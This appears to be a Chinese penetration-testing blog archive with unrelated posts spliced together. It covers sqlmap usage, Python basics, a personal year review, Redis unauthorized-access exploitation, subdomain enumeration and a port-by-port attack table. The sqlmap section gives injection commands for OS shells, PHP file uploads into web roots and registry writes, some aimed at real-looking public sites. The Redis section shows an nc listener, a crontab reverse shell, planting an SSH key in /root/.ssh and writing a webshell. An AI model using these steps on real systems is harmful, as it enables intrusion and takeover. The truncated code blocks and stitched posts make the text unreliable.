sqlmap.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --columns -D xss -v 4 可以看见发送的请求头,来执行枚举列名
参数:–risk(一般和–level一起使用)
共有四个风险等级,默认是1
1会测试大部分的测试语句,
2会增加基于事件的测试语句,
3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。
sqlmap.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --level 3 --risk 3 这样测试的语句可以更全面一些
获取指定目标
参数:-u 或者–url
格式:http(s)://targeturl[:port]/[…]
例如:sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13"
参数:-m
文件中保存url格式如下,sqlmap会一个一个检测www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
比如把以上3个保存到c:\aa.txtsqlmap.py -m c:/aa.txt就会对多个目标进行检测,或者sqlmap.py -m c:/aa.txt --batch来默认检测,这样就不要自己选Y了,就执行默认选项了
参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。把bp抓来的请求包,保存到c:\bb.txtsqlmap.py -r c:\bb.txt对bp请求包,来进行注入一般对 post 搜索注入 http头注入 登录后的注入点cookie来进行注入
参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
相当于谷歌边搜索边注入的
sqlmap.py -g “inurl:php?id=”
1.参数:–date(post请求参数)
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
sqlmap.py -u “http://192.168.0.240:8007/login.php" –data=”username=123&password=123”
2.参数:--param--del(指定分隔字符) 参数拆分字符 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 sqlmap.py -u "http://192.168.0.240:8007/login.php" --data="username=123;password=123" --param--del=";" 这里面一般网页都是用&来分隔,如果遇到;来分隔的话,这里就可以指定用;来进行多个参数查询3.参数:--cookie 适用于cookie注入 注意:一般有通用型方注入代码,弹框的时候才会用cookie注入,前提是网站接受你的cookie注入的 还有一种情况就是登陆后的页面来进行注入
4.参数:--referer sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。
5.参数:–headers
可以通过–headers参数来增加额外的http头
--hearders “client-ip:1.1.1.1'” --level 36.参数:--proxy
使用
–proxy代理是格式为:http://url:port。
–hearders “client-ip:1.1.1.1’” –level 3 –proxy “http://127.0.0.1:8080"
7.参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
sqlmap.py -u “http://192.168.0.240:8007/login.php" –delay=0.5
每0.5秒,发送一个请求,把请求速度降下来,有可能会过掉waf
c:\python27\sqlmap\lib\core\option.py 大概1425行 **没有,问一下8.参数:--timeout 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时
9.参数:--retries 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值
10.参数:--safe-url,--safe-freq 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。 绕过这个策略有两种方式: 1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。11.参数:-p sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值, 当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p 参数设置想要测试的参数。例如: -p "id,user-anget"
告诉sqlmap,注入点在 id,user-anget 上
12.参数:--prefix,--suffix (相当于告诉sqlmap如何闭合)(prefix是前面, suffix是后面)(一般sqlmap会自动闭合) 有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。 例如,代码中是这样调用数据库的: $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 这时你就需要--prefix和--suffix参数了: sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc" 这样执行的SQL语句变成: $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; 13.参数:--technique 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式 支持的探测方式如下: B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlamp.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --tech=UE --flush-session --batch --flush-session 是清除缓存,并且只搜索 联合查询注入 和 显错注入14.参数:--union-cols(指定联合查询有多少列,默认1-10个列,可能新版本已经加到了100个列) 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。 设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。 例子: --union-cols 10015.参数:--union-char(指定联合查询是用什么填充的) 默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败, 而一个随机整数是成功的,这是你可以用--union-char指定UNION查询的字符。 例子: --union-char "null"16.参数:--second-order(二阶注入,返回结果可能不在一个页面上) 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面, 这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址. 例子: sqlmap.py -u "http://127.0.0.1/aa.php" --second-order "http://127.0.0.1/bb.php"17.参数:--dump-all,--exclude-sysdbs(--dump-all用来转存所有数据库,--exclude-sysdbs排除系统自带的表) 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表, 需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库, 因为有的管理员会把他当初用户数据库一样来使用它。18.参数:--search,-C,-T,-D(用来寻找特定的表,数据库,列) --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。 可以在一下三种情况下使用: -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。 例子: sqlmap.py -u "http://127.0.0.1/aa.php?id=1" --search -C "name,pwd" -D xycms 在xycms里面搜索name,pwd列 选项1是模糊匹配 2是精准匹配19.参数:--udf-inject,--shared-lib(显错注入,root权限可能会上传udf,相当于--os-shell的第二种方案) 你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL, 或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数, 然后
根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
20.参数:-s,-t,--batch 参数:-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径, 就可以用这个参数。
保存HTTP(S)日志
-s c:\ab.txt 参数:-t 这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。 -t c:\abc.txt 参数:--batch(主要就是默认执行,一路默认选择走下去) 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。21.参数:--charset(设置一下编码)(默认是utf-8) 不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如: --charset=GBK22.参数:--flush-session(清除缓存) 如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session, 重新测试该目标。
自动获取form表单测试
23.参数:--hex(丢一些数据编码的时候可能会加这个) 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: 例子: sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors24.参数:--output-dir(指定一下保存的路径) 参数:--output-dir sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp
从响应中获取DBMS的错误信息
参数:--parse-errors(主要就是用来显示错误信息) 有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。25.参数:--smart,--mobile 参数:--smart(-m 的时候可能会加这个,加这个可以节省时间) 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入, 可以使用此参数。
例子:
sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" –batch –smart
26.参数:--mobile(模拟手机请求) 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:
sqlmap.py -u “http://www.target.com/vuln.php?id=1" –mobile
27.参数:--identify-waf(用来识别和检测waf) sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。28.参数:--check-waf(检测你的waf类型,手工检测 加 and 1=1,可能就会出来) WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话, 可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试
例如对一个受到ModSecurity WAF保护的MySQL
例子:
sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" –identify-waf -v 3
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。
当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值
1.参数:--reg-read 写入注册表值2.参数:--reg-add
删除注册表值
3.参数:–reg-del 注册表辅助选项
4.参数:–reg-key,–reg-value,–reg-data,–reg-type
需要配合之前三个参数使用,例子:
sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-
type=REG_SZ –reg-data=1
(union,error不会用到,时间盲注,延迟注入,access数据库,mysql5.0以下的需要直接跑的会用到)
参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,
你可以自己添加。
Xx –common-tables -D testdb
暴力破解列名
参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。 Xx --common-columns -T text -D testdb POST登录框注入(建议跑包最为推荐) 注入点:http://testasp.vulnweb.com/Login.asp 几种注入方式: ./sqlmap.py -r search-test.txt -p tfUPass (-p指定注入参数,-r指定抓的请求包) sqlmap -u http://testasp.vulnweb.com/Login.asp --forms(自动加载表单) sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1" (指定参数来进行探测) 搜索框注入(一般就是bp抓个包跑包) sqlmap.py -r search-test.txt 伪静态注入(一般加个*,指定一下来跑就行了) 注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.htm base64编码注入 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
请求时间延迟参数:--time-sec当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒例如:--time-sec=5执行sql语句(只能查询select 语句)--sql-query="select @@version"--sql-shellsqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
(从数据库服务器中读取文件)
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。sqlmap.py -u "http://192.168.2.3:81/about/show.php
?lang=cn&id=22” –file-read=”C:\Inetpub\wwwroot\mysql-php\1.php”
文件上传参数:--file-write,--file-dest当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。sqlmap.py -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"
(记准–os-shell,用的多一些)
参数:–os-cmd,–os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
cmd 执行cmd命令(win)
shell 执行当前用户命令
–os-shell 会传两个后门,一个任意文件上传,一个脚本后门
自动上传 脚本文件返回shell
注入点:http://192.168.159.1/news.php?id=1
例如:
sqlmap -u "http://192.168.159.1/news.php?id=1" -v 3 --dbs --batch --tamper "space2morehash.py"大概以下三种
space2hash.py
base64encode.py
charencode.py
sqlmap -u "http://192.168.159.1/news.php?id=1" -v 3 --dbs --batch --tamper=space2hash.py,base64encode.py,charencode.py使用多个插件,逗号分隔
今天快速的学习了python的基础知识,这里简单做个记录
单行注释用#
,
多行注释用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
![](https://madcoding-image.oss-cn-hongkong.aliyuncs.com/20200206183927.png)
# 0x02 变量以及类型
## 2.2 变量的定义
重复使用,并且经常需要修改的数据,可以定义为变量
定义变量的语法为: `变量名 = 变量值`
**程序就是用来处理数据的,而变量就是用来存储数据的**
## 2.2 变量的类型
![](https://madcoding-image.oss-cn-hongkong.aliyuncs.com/20200206184100.png)
在python中,不需要主动的去说明变量的类型,系统会自动辨别。也就是说在使用的时候 **变量没有类型,数据才有类型**。
在终端中,如果临时想要查看一个变量存储的数据类型,可以使用 **type(变量的名字)**,来查看变量存储的数据类型
![](https://madcoding-image.oss-cn-hongkong.aliyuncs.com/20200206184657.png)
# 0x03 标识符和关键字
## 3.1 标识符的定义
标识符是自己定义的,如变量名 、函数名等
## 3.2 标识符的规则
标识符由字母、下划线和数字组成,且数字不能开头
python中的标识符是区分大小写的
## 3.3 标识符的命名习惯
1. 见名知意
2. 驼峰命名法
- 小驼峰式命名法(lower camel case): 第一个单词以小写字母开始;第二个单词的首字母大写,例如:myName、aDog
- 大驼峰式命名法(upper camel case): 每一个单字的首字母都采用大写字母,例如:FirstName、LastName
- 还有一种命名法是用下划线“_”来连接所有的单词,比如send_buf,
3.4 什么是关键字
python一些具有特殊功能的标识符,这就是所谓的关键字
关键字,已经被python官方使用了,所以不允许开发者自己定义和关键字相同名字的标识符
![](https://madcoding-image.oss-cn-hongkong.aliyuncs.com/20200206185248.png)
# 0x04 输出
## 4.1 普通输出
```python
#打印输出
print("Hello World")
1 | age = 18 |
在程序中,看到了%
这样的操作符,这就是Python中格式化输出。
常用的格式符号
换行输出在需要换行的位置使用\n
,\
为转义字符
转义字符表
在Python中,获取键盘输入的数据的方法是采用 input 函数
1 | password = input("请输入密码:") |
运行结果
2019年过去过去快一个月了,写完了公司的年终总结PPT,却没有对自己的2019年做个总结,这里简单总结总结我的2019吧。
2019年3月份,我拿到了我第一份实习offer,因为还没有毕业,需要一直以实习生的身份在公司工作,拿着3000块的收入,承担着我这个年龄不该有的压力,哈哈哈。不过出去房租和每月的水电费,剩下的钱也够我生活了。
2019年6月20日,我拿到了我的毕业证书和学士学位证书,公司也答应在7月份给我转正,当然工资也长了,嘿嘿嘿。每个月可以自己攒点钱了。
网络安全,我真正的接触是在大二的时候,那时候和朋友交流的过程中,听到他说kali Linux这个渗透测试系统,开启了我的安全大门。然后自己学的是计算机科学与技术专业,和这个网络安全也是八竿子达不到边,于是就自己在网上找资料去学习,当初的赛扬处理器+4G内存的破联想电脑,开kali的虚拟机真是卡的怀疑人生,不过这没有让我对网络安全的兴趣有所减弱,按照网上的视频教程吧kali里面的一些小工具弄了一遍,玩的最多的是msf,因为这个可以控制别人的电脑,可装逼。
除了msf,就属WiFi破解完的最多了,因为那时候的无线网还不多,为了破解无线网,我按网上的教程买了一个8187L的外置无线网卡,
然后把家里附近的无线网都破解了一遍,80%的都用字典跑开了,CPU满载电脑都有点吃不消。
2017年,我在freebuf上发表了一篇文章,还拿到了15个FB,让我兴奋不少,对网络安全的兴趣更加浓厚了。
前面都是废话,感慨一下。分割线
第一,今年,我从一个不会日战的小白,学会了web网站渗透测试,以及OWASP TOP10漏洞的挖掘,熟悉漏洞的常见攻击手法以及防御方法。包括(文件上传,SQL 注入,跨站脚本、文件包含、命令执行、远程执行、SSRF、CSRF 等);
第二,在工作中,不断学习渗透测试工具,主流的有 Burpsuite、Sqlmap、Metasploit、Awvs、AppScan、Nessus、Netsparker 等测试工具,有时候也会安装GitHub上的一些测试工具进行协助测试。
第三,学会了Android 端 APP 渗透测试方法、逆向工具使用。总结一下测试的思路。首先对拿到手的apk文件上传到360显危镜或者梆梆安全进行检测,然后在对apk文件进行反编译,查看是否被加壳了,如果加壳了,尝试脱壳,没有加壳查看是否存在一些信息的泄露,测试完APK文件,可通过安装对APP的业务层进行正常的测试,与web测试类似。
第四,通过公司的几次机会接触到了CTF比赛,对CTF的解题模式和AWD攻防模式有了初步的认识和理解。
在工作中,最擅长挖掘业务逻辑漏洞,比如未授权访问、未授权下载、水平越权、垂直越权、1分购买、任意密码重置等等。
还记得第一次搭建博客是在大学的时候,使用WordPress进行搭建的,后来由于服务器需要续费,但是太贵了,就没有续费了,博客站点也就关了,转向CSDN,但是CSDN得文章需要通过审核,有些会审核不通过,这让我有些不爽,然后就有了后来的GitHub+hexo来搭建博客。
我记得研究这个博客的时候踩了很多坑,环境配置老是有问题,不过最后还是没有放弃,完整了博客的搭建,并且做了一些美化和基本的功能的添加。
博客地址:https://www.mad-coding.cn/
2020有几个小目标:
第一,考两个证,先考软考信息安全工程师,然后考CISP-PTE
第二,一年看20本书,并且要写书评
第三,每周研究一个vulnhub中的靶场,并且输出文章
第四,每周至少锻炼4次
第五,每天看一个面试题,提升自己的面试基础。
在渗透测试的过程中,经常会碰到各种未授权访问漏洞,今天总结一下redis的未授权访问漏洞,从靶机的环境搭建到漏洞复现再到getshell,如有错误的地方,还请各位大佬指出,共同进步。
靶机
操作系统:centos7
redis版本:4.0.6
攻击机
操作系统:kali Linux 2019.4 x64
redis版本:4.0.6
1.下载redis安装包
1 | wget http://download.redis.io/releases/redis-4.0.6.tar.gz |
2.解压压缩包
1 | tar -zxvf redis-4.0.6.tar.gz |
3.yum安装gcc依赖
1 | yum install gcc |
注:遇到选择,输入y即可
4.跳转到redis解压目录下
1 | cd redis-4.0.6 |
5.编译安装
1 | make MALLOC=libc |
将/usr/local/redis-4.0.6/src目录下的文件加到/usr/local/bin目录
1 | cd src && make install |
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cp redis-server /usr/bin
cp redis-cli /usr/bin
返回目录redis目录,将redis.conf拷贝到/etc/目录下:
cp redis.conf /etc
编辑etc中的redis配置文件redis.conf
vim /etc/redis.conf
连接redis:
1 | redis-cli -h 192.168.63.130 |
查看redis版本信息、一些具体信息、服务器版本信息等等:
1 | 192.168.63.130:6379>info |
将变量x的值设为test:
是把整个redis数据库删除,一般情况下不要用!!!
1 | 192.168.63.130:6379>flushall |
查看所有键:
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
1 | 192.168.63.130:6379>CONFIG GET dir |
查看redis服务
1 | ps -aux | grep redis |
关闭redis服务
1 | kill 8234 |
下载
1 | wget http:*//download.redis.io/releases/redis-4.0.11.tar.gz* |
解压
1 | tar -zxvf redis-4.0.11.tar.gz |
切换到src目录
1 | cd /redis-4.0.11/src |
1 | redis-cli -h 192.168.110.8 -p 端口号 |
出现下面信息,说明存在未授权访问漏洞
在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入定时计划,反弹shell。
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
1 | nc -lvnp 6666 |
然后在kali中执行下面命令
1 | root@kali:~# redis-cli -h 192.168.110.8 |
kali攻击机上成功反弹shell
注意:定时计划中的ip地址是攻击记的ip地址,不是靶机的ip地址。
所谓的秘钥认证,就是基于公钥密码的认证,使用公钥加密,私钥解密,其中公钥是公开的,放在服务器端
可以把同一个公钥放在你想SSH登陆的服务器中,而私钥自己知道
大致过程:
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登陆请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端
4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证
5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
3.3.2 开始攻击
首先需要kali攻击机在本地生成一对秘钥
1 | ssh-keygen -t rsa |
然后三次回车,生成秘钥,如下图
查看是否成功生成
查看公钥
1 | cat id_rsa.pub |
将公网的内容复制到记事本中待用
然后redis执行命令:
1 | config set dir /root/.ssh/ |
注:需要将上面的公钥替替换攻击机的秘钥。
save后可以直接利用攻击机kali的私钥登录ssh
1 | ssh -i id_rsa root@192.168.110.8 |
利用条件:redis权限不高,服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径(根据实际情况)写webshell
1 | config set dir /var/www/html/ |
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;
如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
攻击者访问之后,利用Redis自身提供的config命令,可以进行写文件操作
可以成功把自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器
简单来说,漏洞产生的条件有以下两点:
参考复现漏洞过程
主机漏洞
高
防止这个漏洞需要修复以下三处问题
第一: 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0 另外需要通过主机内置的防火墙如iptables,或者其他外置防火墙禁止非业务主机访问redis服务
第二: 设置访问密码 在 redis.conf 中找到“requirepass”字段,取消注释并在后面填上你需要的密码。 注:修改redis的配置需要重启redis才能生效。
第三: 使用普通用户启动redis,并且禁止该用户启动shell,禁止使用root用户启动redis。
使用命令连接出现下面错误
Could not connect to Redis at 192.168.25.153:6379: No route to host
问题原因:
centos7主机默认开启了防火墙
解决方法:
iptables -F –删除所有防火墙规则
简单粗暴,真实环境中不可这样
真实环境可参考
1 | iptables -N REDIS |
https://www.cnblogs.com/zuidongfeng/p/8032505.html
https://blog.csdn.net/Fly_hps/article/details/80937837
https://www.freebuf.com/column/158065.html
子域名挖掘,是信息收集中的一部分,在SRC的漏洞挖掘中非常重要。所以,今天总结一些子域名挖掘的思路和工具。
通过搜索引擎,常见的搜索引擎有百度、谷歌、bing、搜狗、360搜索等。
搜索语法:
site: xxxx.com
证书透明度(英语:Certificate Transparency,简称CT)也称证书透明、证书透明化,它是一个实验性的IETF开源标准[1]和开源框架,目的是监测和审计数字证书。通过证书日志、监控和审计系统,证书透明度使网站用户和域名持有者可以识别不当或恶意签发的证书,以及识别数字证书认证机构(CA)的作为。
本工具用于渗透测试目标域名收集。高并发DNS暴力枚举,发现其他工具无法探测到的域名, 如Google,aizhan,fofa。
1 | git clone https://github.com/lijiejie/subDomainsBrute.git |
语法:
subDomainsBrute.py [options] target.com
参数:
1 | --version#显示版本号 |
Gobuster是用于暴力破解的工具:
先安装go环境
1 | wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz |
直接下载编译好的二进制文件
1 | wget https://github.com/OJ/gobuster/releases |
cd gobuster
查看帮助
查看相对命令下的子命令
gobuster -m dns -w subdomains.txt -u baidu.com -i
命令参数
1 | -fw-暴力与通配符域处理的结果。 |
爆破百度的子域名
https://download.csdn.net/download/milkway2013/12100105
下载后直接打开即可。
输入一级域名以后,点击启动就可以了,
端口就和大门一样,是通往渗透中信息收集必不可少步骤,今天给大家整理一下在渗透中常用的一些端口以及一些端口的漏洞利用方式。
端口 | 服务 | 入侵方式 |
---|---|---|
21 | ftp/tftp/vsftpd文件传输协议 | 爆破/嗅探/溢出/后门 |
22 | ssh远程连接 | 爆破/openssh漏洞 |
23 | Telnet远程连接 | 爆破/嗅探/弱口令 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名解析系统 | 域传送/劫持/缓存投毒/欺骗 |
67/68 | dhcp服务 | 劫持/欺骗 |
110 | pop3 | 爆破/嗅探 |
139 | Samba服务 | 爆破/未授权访问/远程命令执行 |
143 | Imap协议 | 爆破 |
161 | SNMP协议 | 爆破/搜集目标内网信息 |
389 | Ldap目录访问协议 | 注入/未授权访问/弱口令 |
445 | smb | ms17-010/端口溢出 |
512/513/514 | Linux Rexec服务 | 爆破/Rlogin登陆 |
873 | Rsync服务 | 文件上传/未授权访问 |
1080 | socket | 爆破 |
1352 | Lotus domino邮件服务 | 爆破/信息泄漏 |
1433 | mssql | 爆破/注入/SA弱口令 |
1521 | oracle | 爆破/注入/TNS爆破/反弹shell |
2049 | Nfs服务 | 配置不当 |
2181 | zookeeper服务 | 未授权访问 |
2375 | docker remote api | 未授权访问 |
3306 | mysql | 爆破/注入 |
3389 | Rdp远程桌面链接 | 爆破/shift后门 |
4848 | GlassFish控制台 | 爆破/认证绕过 |
5000 | sybase/DB2数据库 | 爆破/注入/提权 |
5432 | postgresql | 爆破/注入/缓冲区溢出 |
5632 | pcanywhere服务 | 抓密码/代码执行 |
5900 | vnc | 爆破/认证绕过 |
6379 | Redis数据库 | 未授权访问/爆破 |
7001/7002 | weblogic | java反序列化/控制台弱口令 |
80/443 | http/https | web应用漏洞/心脏滴血 |
8069 | zabbix服务 | 远程命令执行/注入 |
8161 | activemq | 弱口令/写文件 |
8080/8089 | Jboss/Tomcat/Resin | 爆破/PUT文件上传/反序列化 |
8083/8086 | influxDB | 未授权访问 |
9000 | fastcgi | 远程命令执行 |
9090 | Websphere控制台 | 爆破/java反序列化/弱口令 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcached | 未授权访问 |
27017/27018 | mongodb | 未授权访问/爆破 |
FTP通常用作对远程服务器进行管理,典型应用就是对web系统进行管理。一旦FTP密码泄露就直接威胁web系统安全,甚至黑客通过提权可以直接控制服务器。这里剖析渗透FTP服务器的几种方法。
1 | `(1)基础爆破:ftp爆破工具很多,这里我推owasp的Bruter,hydra以及msf中的ftp爆破模块。``(2) ftp匿名访问:用户名:anonymous 密码:为空或者任意邮箱``(3)后门vsftpd :version 2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。(https:``//www.freebuf.com/column/143480.html)``(4)嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关),使用Cain进行渗透。``(5)ftp远程代码溢出。(https:``//blog.csdn.net/weixin_42214273/article/details/82892282)(6)ftp跳转攻击。(https://blog.csdn.net/mgxcool/article/details/48249473)` |
SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。
1 | `(1)弱口令,可使用工具hydra,msf中的ssh爆破模块。``(2)防火墙SSH后门。(https:``//www.secpulse.com/archives/69093.html)``(3)28退格 OpenSSL``(4)openssh 用户枚举 CVE-2018-15473。(https:``//www.anquanke.com/post/id/157607)` |
telnet是一种旧的远程管理方式,使用telnet工具登录系统过程中,网络上传输的用户和密码都是以明文方式传送的,黑客可使用嗅探技术截获到此类密码。
1 | `(1)暴力破解技术是常用的技术,使用hydra,或者msf中telnet模块对其进行破解。``(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。` |
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件
1 | `默认端口:25(smtp)、465(smtps)``(1)爆破:弱口令``(2)未授权访问` |
53端口是DNS域名服务器的通信端口,通常用于域名解析。也是网络中非常关键的服务器之一。这类服务器容易受到攻击。对于此端口的渗透,一般有三种方式。
1 | `(1)使用DNS远程溢出漏洞直接对其主机进行溢出攻击,成功后可直接获得系统权限。(https:``//www.seebug.org/vuldb/ssvid-96718)``(2)使用DNS欺骗攻击,可对DNS域名服务器进行欺骗,如果黑客再配合网页木马进行挂马攻击,无疑是一种杀伤力很强的攻击,黑客可不费吹灰之力就控制内网的大部分主机。这也是内网渗透惯用的技法之一。(https:``//baijiahao.baidu.com/s?id=1577362432987749706&wfr=spider&for=pc)``(3)拒绝服务攻击,利用拒绝服务攻击可快速的导致目标服务器运行缓慢,甚至网络瘫痪。如果使用拒绝服务攻击其DNS服务器。将导致用该服务器进行域名解析的用户无法正常上网。(http:``//www.edu.cn/xxh/fei/zxz/201503/t20150305_1235269.shtml)(4)DNS劫持。(https://blog.csdn.net/qq_32447301/article/details/77542474)` |
